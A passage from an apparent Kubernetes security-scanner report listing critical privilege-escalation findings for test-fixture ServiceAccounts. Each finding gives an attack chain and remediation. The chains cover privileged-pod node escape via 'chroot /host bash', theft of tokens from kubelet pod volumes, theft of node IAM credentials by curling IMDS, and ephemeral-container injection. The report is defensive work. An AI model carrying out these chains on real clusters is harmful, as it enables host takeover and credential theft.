Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/rbac-fixtures/sa-pod-create yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/rbac-fixtures/sa-pod-create.
  2. Acting as ServiceAccount/rbac-fixtures/sa-pod-create, the attacker uses the pod_create_privileged_escape technique via create pods (Pod Security Admission does not block privileged), which gains can create a privileged pod that escapes to the node.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Create a privileged pod and escape to the node pod_create_privileged_escape

    RBAC never inspects pod contents, only the create verb. When the target namespace has no restrictive Pod Security Admission enforce label, an attacker who can create pods sets privileged: true, hostPID, or a hostPath mount of / and breaks out to the node. Baseline or Restricted enforcement would block this and limit the risk to token theft alone.

    From ServiceAccount/rbac-fixtures/sa-pod-create
    Permission granted create pods (Pod Security Admission does not block privileged)
    Gives the attacker can create a privileged pod that escapes to the node
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission create pods (Pod Security Admission does not block privileged) that enables the first hop (ServiceAccount/rbac-fixtures/sa-pod-create/).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission create pods (Pod Security Admission does not block privileged) that enables the first hop (ServiceAccount/rbac-fixtures/sa-pod-create/).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
CRITICAL ServiceAccount/rbac-fixtures/sa-wildcard Cluster 9.4
ServiceAccount/rbac-fixtures/sa-wildcard can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-wildcardnode escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-wildcard

Subject ServiceAccount/rbac-fixtures/sa-wildcard has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/rbac-fixtures/sa-wildcard/ via node_drain_migrate (delete pods + node scheduling control): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/rbac-fixtures/sa-wildcard yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/rbac-fixtures/sa-wildcard.
  2. Acting as ServiceAccount/rbac-fixtures/sa-wildcard, the attacker uses the node_drain_migrate technique via delete pods + node scheduling control, which gains can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Migrate pods onto an attacker node node_drain_migrate

    delete pods combined with cluster-scoped node control (update/patch on nodes/status, or delete nodes) lets an attacker cordon or remove every node except one they control, then evict a sensitive pod. The scheduler relocates the pod onto the attacker's node, where its ServiceAccount token and traffic are exposed.

    From ServiceAccount/rbac-fixtures/sa-wildcard
    Permission granted delete pods + node scheduling control
    Gives the attacker can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission delete pods + node scheduling control that enables the first hop (ServiceAccount/rbac-fixtures/sa-wildcard/).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission delete pods + node scheduling control that enables the first hop (ServiceAccount/rbac-fixtures/sa-wildcard/).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
CRITICAL ServiceAccount/secrets-bundle/cross-ns-reader Cluster 9.4
ServiceAccount/secrets-bundle/cross-ns-reader can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/secrets-bundle/cross-ns-readernode escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/secrets-bundle/cross-ns-reader

Subject ServiceAccount/secrets-bundle/cross-ns-reader has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/secrets-bundle/cross-ns-reader/ via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod secrets-bundle/cross-ns-consumer-6c945c9c9d-jfxxn falls back to node IAM role via IMDS

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/secrets-bundle/cross-ns-reader yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/secrets-bundle/cross-ns-reader.
  2. Acting as ServiceAccount/secrets-bundle/cross-ns-reader, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod secrets-bundle/cross-ns-consumer-6c945c9c9d-jfxxn falls back to node IAM role via IMDS.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/secrets-bundle/cross-ns-reader
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod secrets-bundle/cross-ns-consumer-6c945c9c9d-jfxxn falls back to node IAM role via IMDS
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/secrets-bundle/cross-ns-reader/).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission IMDS reachable, IRSA unbound that enables the first hop (ServiceAccount/secrets-bundle/cross-ns-reader/).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
CRITICAL ServiceAccount/vulnerable/default Cluster 9.4
ServiceAccount/vulnerable/default can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/vulnerable/defaultnode escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/vulnerable/default

Subject ServiceAccount/vulnerable/default has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/vulnerable/default/ via pod_host_escape (hostPID,hostIPC): runs in pod vulnerable/host-ns-app-7cb46d5788-zqfcp with hostPID, hostIPC

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/vulnerable/default yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/vulnerable/default.
  2. Acting as ServiceAccount/vulnerable/default, the attacker schedules a pod with host-level access (privileged: true, hostPath: /, hostPID, or hostNetwork) and escapes onto the underlying node. From there they read every co-located pod's filesystem, every projected ServiceAccount token on that node, and the kubelet's client cert.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Container escape to host pod_host_escape

    The pod is configured in a way that makes escaping to the underlying node trivial: privileged: true, hostPID, hostNetwork, or a sensitive hostPath mount (root, docker.sock, etc.). An attacker who controls the container reaches root on the node, then has access to every pod and kubelet credential on that node.

    From ServiceAccount/vulnerable/default
    Permission granted hostPID,hostIPC
    Gives the attacker runs in pod vulnerable/host-ns-app-7cb46d5788-zqfcp with hostPID, hostIPC
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission hostPID,hostIPC that enables the first hop (ServiceAccount/vulnerable/default/).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission hostPID,hostIPC that enables the first hop (ServiceAccount/vulnerable/default/).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
CRITICAL ServiceAccount/vulnerable/privileged-reader Cluster 9.4
ServiceAccount/vulnerable/privileged-reader can reach node escape (host root) in 1 hop(s)
Scope · Cluster Source ServiceAccount/vulnerable/privileged-readernode escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/vulnerable/privileged-reader

Subject ServiceAccount/vulnerable/privileged-reader has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (1 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/vulnerable/privileged-reader/ via pod_create_privileged_escape (create pods (Pod Security Admission does not block privileged)): can create a privileged pod that escapes to the node

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/vulnerable/privileged-reader yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/vulnerable/privileged-reader.
  2. Acting as ServiceAccount/vulnerable/privileged-reader, the attacker uses the pod_create_privileged_escape technique via create pods (Pod Security Admission does not block privileged), which gains can create a privileged pod that escapes to the node.
  3. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Create a privileged pod and escape to the node pod_create_privileged_escape

    RBAC never inspects pod contents, only the create verb. When the target namespace has no restrictive Pod Security Admission enforce label, an attacker who can create pods sets privileged: true, hostPID, or a hostPath mount of / and breaks out to the node. Baseline or Restricted enforcement would block this and limit the risk to token theft alone.

    From ServiceAccount/vulnerable/privileged-reader
    Permission granted create pods (Pod Security Admission does not block privileged)
    Gives the attacker can create a privileged pod that escapes to the node
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission create pods (Pod Security Admission does not block privileged) that enables the first hop (ServiceAccount/vulnerable/privileged-reader/).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission create pods (Pod Security Admission does not block privileged) that enables the first hop (ServiceAccount/vulnerable/privileged-reader/).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
CRITICAL ServiceAccount/privesc-fixtures/sa-ephemeral Cluster 8.9
ServiceAccount/privesc-fixtures/sa-ephemeral can reach node escape (host root) in 2 hop(s)
Scope · Cluster Source ServiceAccount/privesc-fixtures/sa-ephemeralnode escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-ephemeral

Subject ServiceAccount/privesc-fixtures/sa-ephemeral has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (2 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/privesc-fixtures/sa-ephemeralServiceAccount/flat-network/default via ephemeral_container_inject (update,patch pods/ephemeralcontainers): can inject an ephemeral container into pods running as ServiceAccount flat-network/default
2. ServiceAccount/flat-network/default/ via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod flat-network/api-55d9f69c7d-xjctl falls back to node IAM role via IMDS

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/privesc-fixtures/sa-ephemeral yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/privesc-fixtures/sa-ephemeral.
  2. Acting as ServiceAccount/privesc-fixtures/sa-ephemeral, the attacker uses the ephemeral_container_inject technique to reach ServiceAccount/flat-network/default via update,patch pods/ephemeralcontainers, which gains can inject an ephemeral container into pods running as ServiceAccount flat-network/default.
  3. Acting as ServiceAccount/flat-network/default, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod flat-network/api-55d9f69c7d-xjctl falls back to node IAM role via IMDS.
  4. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Step 1 of 2 Ephemeral container injection ephemeral_container_inject

    update/patch on pods/ephemeralcontainers adds an attacker-chosen container to an already-running pod (the mechanism behind kubectl debug). The injected container joins the victim pod's namespaces and can mount its ServiceAccount token, so it is effectively pod creation against an existing victim: the attacker picks the image but inherits the pod's identity and host exposure.

    From ServiceAccount/privesc-fixtures/sa-ephemeralServiceAccount/flat-network/default
    Permission granted update,patch pods/ephemeralcontainers
    Gives the attacker can inject an ephemeral container into pods running as ServiceAccount flat-network/default
  2. Step 2 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/flat-network/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod flat-network/api-55d9f69c7d-xjctl falls back to node IAM role via IMDS
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission update,patch pods/ephemeralcontainers that enables the first hop (ServiceAccount/privesc-fixtures/sa-ephemeralServiceAccount/flat-network/default).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission update,patch pods/ephemeralcontainers that enables the first hop (ServiceAccount/privesc-fixtures/sa-ephemeralServiceAccount/flat-network/default).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
CRITICAL ServiceAccount/privesc-fixtures/sa-pod-exec Cluster 8.9
ServiceAccount/privesc-fixtures/sa-pod-exec can reach node escape (host root) in 2 hop(s)
Scope · Cluster Source ServiceAccount/privesc-fixtures/sa-pod-execnode escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/privesc-fixtures/sa-pod-exec

Subject ServiceAccount/privesc-fixtures/sa-pod-exec has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (2 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/privesc-fixtures/sa-pod-execServiceAccount/cloud-eks-test/default via pod_exec (create,get pods/exec|pods/attach): can exec into pods running as ServiceAccount cloud-eks-test/default
2. ServiceAccount/cloud-eks-test/default/ via imds_node_role_pivot (IMDS reachable, IRSA unbound): pod cloud-eks-test/imds-pivot-app-68cfbfc794-f4lh7 falls back to node IAM role via IMDS

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/privesc-fixtures/sa-pod-exec yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
  1. Attacker compromises any workload or credential bound to ServiceAccount/privesc-fixtures/sa-pod-exec.
  2. Acting as ServiceAccount/privesc-fixtures/sa-pod-exec, the attacker uses pods/exec (create,get pods/exec|pods/attach) to open a shell inside ServiceAccount/cloud-eks-test/default and inherit whatever ServiceAccount or host privileges that container holds.
  3. Acting as ServiceAccount/cloud-eks-test/default, the attacker uses the imds_node_role_pivot technique via IMDS reachable, IRSA unbound, which gains pod cloud-eks-test/imds-pivot-app-68cfbfc794-f4lh7 falls back to node IAM role via IMDS.
  4. Final step: a privileged pod with hostPath: / (or hostPID + privileged: true) is created. The attacker chroot /host bash and now runs as root on the worker node, reading every other pod's filesystem, every projected ServiceAccount token on that node, and the kubelet client cert.
  1. Step 1 of 2 Pod exec → container takeover pod_exec

    The pods/exec subresource opens a shell inside a running container. If the container's pod uses a privileged ServiceAccount, the attacker inherits that SA's reach. If the container is itself privileged or mounts the host, this is also a node-escape primitive.

    From ServiceAccount/privesc-fixtures/sa-pod-execServiceAccount/cloud-eks-test/default
    Permission granted create,get pods/exec|pods/attach
    Gives the attacker can exec into pods running as ServiceAccount cloud-eks-test/default
  2. Step 2 of 2 Steal node IAM role via IMDS imds_node_role_pivot

    EC2-backed EKS worker nodes attach an IAM role to the instance and expose its credentials at the link-local IMDS endpoint 169.254.169.254. Pods inherit the host's network unless a NetworkPolicy denies egress to that IP, so a compromised pod can curl IMDS, parse out the node-role credentials, and act in AWS as the node.

    The node role is typically broader than any single workload's IRSA role: it can pull from ECR, describe EC2 instances, and is often given additional grants for cluster-autoscaler / EBS-CSI / external-dns. This is a credential-theft chain (SSRF to cloud creds) rather than a Kubernetes RBAC chain.

    From ServiceAccount/cloud-eks-test/default
    Permission granted IMDS reachable, IRSA unbound
    Gives the attacker pod cloud-eks-test/imds-pivot-app-68cfbfc794-f4lh7 falls back to node IAM role via IMDS
Remediation
Break the chain by either (a) removing the pod-creation primitive that enables node escape, or (b) constraining what privileged settings the chain's pods can request. Lowest-cost cut: remove the permission create,get pods/exec|pods/attach that enables the first hop (ServiceAccount/privesc-fixtures/sa-pod-execServiceAccount/cloud-eks-test/default).
  1. Identify which hop ends in pod_create_* or grants Pod Security violations (privileged, hostPath, hostPID, hostNetwork).
  2. Apply Pod Security Admission restricted profile to namespaces reachable from this chain: kubectl label namespace <ns> pod-security.kubernetes.io/enforce=restricted. This blocks privileged pods at admission.
  3. Audit any namespace that is privileged-labeled. DaemonSets and operators that genuinely need host access should run in a dedicated namespace not reachable via tenant chains.
  4. Remove the cited capability: remove the permission create,get pods/exec|pods/attach that enables the first hop (ServiceAccount/privesc-fixtures/sa-pod-execServiceAccount/cloud-eks-test/default).
  5. Wire admission policy (Kyverno restrict-host-path-mount, disallow-privileged-containers) so future pods cannot regress.
CRITICAL ServiceAccount/rbac-fixtures/sa-token-create Cluster 8.9
ServiceAccount/rbac-fixtures/sa-token-create can reach node escape (host root) in 2 hop(s)
Scope · Cluster Source ServiceAccount/rbac-fixtures/sa-token-createnode escape: terminal sink is cluster-scoped (full API control or host root)
Category: Privilege Escalation Subject: ServiceAccount/rbac-fixtures/sa-token-create

Subject ServiceAccount/rbac-fixtures/sa-token-create has a privesc path that terminates in the ability to schedule a pod with host-level access (hostPath: /, privileged: true, hostPID, or hostNetwork), which is structurally equivalent to root on the worker node. Once an attacker has node root, all defense-in-depth at the Kubernetes layer is bypassed: pod isolation depends on the kernel and runtime, not on RBAC, and node root reads every other pod's filesystem (including projected ServiceAccount tokens) and every kubelet credential.

The chain (2 hop(s); each step uses an explicit RBAC verb or pod primitive the engine validated):
1. ServiceAccount/rbac-fixtures/sa-token-createServiceAccount/rbac-fixtures/sa-cluster-admin via token_request (create serviceaccounts/token): can mint tokens for ServiceAccount rbac-fixtures/sa-cluster-admin
2. ServiceAccount/rbac-fixtures/sa-cluster-admin/ via node_drain_migrate (delete pods + node scheduling control): can migrate sensitive pods onto an attacker-controlled node via eviction + node manipulation

Node escape is qualitatively different from cluster-admin: cluster-admin gives API control; node escape gives *operational* control over a host. With node root the attacker can plant a persistent rootkit, install a kernel module, capture every container's network traffic via tcpdump on the host's cni0/flannel.1/cali* interface, and exfiltrate every projected ServiceAccount token by reading /var/lib/kubelet/pods/*/volumes/.../token. From there, those tokens cascade into more cluster-admin paths.

Impact Compromise of ServiceAccount/rbac-fixtures/sa-token-create yields host root on a worker node. Every co-located pod's filesystem and every projected SA token are immediately readable, and the kubelet client cert can be used to access node-level APIs.
How an attacker abuses this
Background
SubjectServiceAccount

A ServiceAccount is an in-cluster identity assigned to pods. Every pod gets a token mounted at /var/run/secrets/kubernetes.io/serviceaccount/token, and that token is the credential. If an attacker reads that file from inside a compromised container (or creates a pod that mounts the token), they can call the API as the ServiceAccount, with whatever permissions the SA has been granted.

This is the most common pivot in real-world Kubernetes attacks: compromise one pod, steal its token, ride the token to wherever its RBAC allows.

Kubernetes docs ↗
